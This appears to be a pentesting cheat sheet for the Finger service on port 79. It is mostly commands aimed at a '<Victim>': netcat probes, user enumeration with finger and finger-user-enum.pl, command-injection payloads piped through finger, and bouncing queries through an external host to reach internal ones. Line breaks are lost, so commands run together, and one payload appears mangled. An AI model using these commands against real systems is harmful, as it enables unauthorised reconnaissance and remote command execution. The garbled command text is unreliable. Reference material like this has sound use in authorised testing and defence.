Finger is a program you can use to find information about computer users. It usually lists the login name, the full name, and possibly other details about the user you are fingering. These details may include the office location and phone number (if known), login time, idle time, time mail was last read, and the user's plan and project files.
Default port: 79
PORT STATE SERVICE79/tcp open finger
nc -vn <IP> 79echo "root" | nc -vn <IP> 79
finger @<Victim> #List usersfinger admin@<Victim> #Get info of userfinger user@<Victim> #Get info of user
Alternatively you can use finger-user-enum from pentestmonkey, some examples:
finger-user-enum.pl -U users.txt -t 10.0.0.1finger-user-enum.pl -u root -t 10.0.0.1finger-user-enum.pl -U users.txt -T ips.txt
finger "|/firstname.lastname@example.org"finger "|/bin/ls -a /@example.com"
finger user@host@victimfinger @internal@external